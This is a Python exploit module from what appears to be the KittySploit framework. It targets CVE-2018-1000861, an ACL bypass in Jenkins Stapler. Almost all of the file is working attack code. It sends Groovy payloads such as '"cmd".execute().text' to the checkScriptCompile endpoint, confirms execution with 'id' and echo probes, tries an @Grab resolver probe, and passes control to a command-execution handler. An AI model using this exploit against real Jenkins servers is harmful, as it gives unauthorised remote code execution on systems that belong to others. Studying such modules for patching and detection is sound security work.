Jenkins Stapler Groovy RCE (CVE-2018-1000861)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Jenkins Stapler ACL bypass Groovy RCE (CVE-2018-1000861)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Jenkins Stapler Groovy RCE (CVE-2018-1000861)',
        'description': (
            'Exploits CVE-2018-1000861 in Jenkins <=2.153 / LTS <=2.138.3: ACL bypass on '
            'descriptorByName endpoints allows Groovy execution via checkScriptCompile.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-1000861'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-1000861',
        ],
        'tags': ['jenkins', 'groovy', 'stapler', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2018_1000861_detect'],
            },
        },
    }

    descriptor = OptString(
        '/securityRealm/user/admin/descriptorByName/'
        'org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile',
        'Stapler descriptor endpoint',
        required=False,
        advanced=True,
    )

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        groovy = f'"{safe}".execute().text'
        path = f'{str(self.descriptor or "").strip()}?value={urllib.parse.quote(groovy, safe="")}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2018-1000861 Groovy exec confirmed', 'confidence': 'high'}
        probe = (
            '/securityRealm/user/admin/descriptorByName/'
            'org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
            '?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)'
            '%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'
        )
        r = self.http_request(method='GET', path=probe, allow_redirects=False)
        if r and 'package#vulntest' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'Jenkins checkScriptCompile ACL bypass', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Jenkins Stapler bypass not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()